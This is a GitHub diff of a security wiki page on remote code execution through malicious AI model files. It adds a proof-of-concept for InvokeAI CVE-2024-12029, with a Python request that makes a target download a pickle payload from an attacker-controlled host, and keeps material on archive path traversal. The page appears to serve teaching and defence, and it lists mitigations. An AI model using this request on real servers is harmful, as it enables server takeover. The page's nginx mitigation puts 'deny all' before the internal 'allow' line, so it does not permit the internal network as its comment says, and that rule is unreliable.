You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/AI/AI-Models-RCE.md
+86-4Lines changed: 86 additions & 4 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -23,10 +23,86 @@ At the time of the writting these are some examples of this type of vulneravilit
23
23
|**Keras (older formats)**|*(No new CVE)* Legacy Keras H5 model | Malicious HDF5 (`.h5`) model with Lambda layer code still executes on load (Keras safe_mode doesn’t cover old format – “downgrade attack”) ||
24
24
|**Others** (general) |*Design flaw* – Pickle serialization | Many ML tools (e.g., pickle-based model formats, Python `pickle.load`) will execute arbitrary code embedded in model files unless mitigated ||
25
25
26
-
27
26
Moreover, there some python pickle based models like the ones used by [PyTorch](https://github.com/pytorch/pytorch/security) that can be used to execute arbitrary code on the system if they are not loaded with `weights_only=True`. So, any pickle based model might be specially susceptible to this type of attacks, even if they are not listed in the table above.
28
27
29
-
Example:
28
+
### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
29
+
30
+
`InvokeAI` is a popular open-source web interface for Stable-Diffusion. Versions **5.3.1 – 5.4.2** expose the REST endpoint `/api/v2/models/install` that lets users download and load models from arbitrary URLs.
When the supplied file is a **PyTorch checkpoint (`*.ckpt`)**, `torch.load` performs a **pickle deserialization**. Because the content comes directly from the user-controlled URL, an attacker can embed a malicious object with a custom `__reduce__` method inside the checkpoint; the method is executed **during deserialization**, leading to **remote code execution (RCE)** on the InvokeAI server.
39
+
40
+
The vulnerability was assigned **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
2. Host `payload.ckpt` on an HTTP server you control (e.g. `http://ATTACKER/payload.ckpt`).
59
+
3. Trigger the vulnerable endpoint (no authentication required):
60
+
61
+
```python
62
+
import requests
63
+
64
+
requests.post(
65
+
"http://TARGET:9090/api/v2/models/install",
66
+
params={
67
+
"source": "http://ATTACKER/payload.ckpt", # remote model URL
68
+
"inplace": "true", # write inside models dir
69
+
# the dangerous default is scan=false → no AV scan
70
+
},
71
+
json={}, # body can be empty
72
+
timeout=5,
73
+
)
74
+
```
75
+
76
+
4. When InvokeAI downloads the file it calls `torch.load()` → the `os.system` gadget runs and the attacker gains code execution in the context of the InvokeAI process.
77
+
78
+
Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` automates the whole flow.
79
+
80
+
#### Conditions
81
+
82
+
• InvokeAI 5.3.1-5.4.2 (scan flag default **false**)
83
+
• `/api/v2/models/install` reachable by the attacker
84
+
• Process has permissions to execute shell commands
85
+
86
+
#### Mitigations
87
+
88
+
* Upgrade to **InvokeAI ≥ 5.4.3** – the patch sets `scan=True` by default and performs malware scanning before deserialization.
89
+
* When loading checkpoints programmatically use `torch.load(file, weights_only=True)` or the new [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
90
+
* Enforce allow-lists / signatures for model sources and run the service with least-privilege.
91
+
92
+
> ⚠️ Remember that **any** Python pickle-based format (including many `.pt`, `.pkl`, `.ckpt`, `.pth` files) is inherently unsafe to deserialize from untrusted sources.
93
+
94
+
---
95
+
96
+
Example of an ad-hoc mitigation if you must keep older InvokeAI versions running behind a reverse proxy:
97
+
98
+
```nginx
99
+
location /api/v2/models/install {
100
+
deny all; # block direct Internet access
101
+
allow 10.0.0.0/8; # only internal CI network can call it
# /tmp/pwned.txt is created even if you get an error
68
144
```
69
145
70
-
71
146
## Models to Path Traversal
72
147
73
148
As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), most models formats used by different AI frameworks are based on archives, usually `.zip`. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded.
@@ -102,4 +177,11 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
102
177
tf.add(PAYLOAD) # rides the symlink
103
178
```
104
179
105
-
{{#include ../banners/hacktricks-training.md}}
180
+
## References
181
+
182
+
-[OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
0 commit comments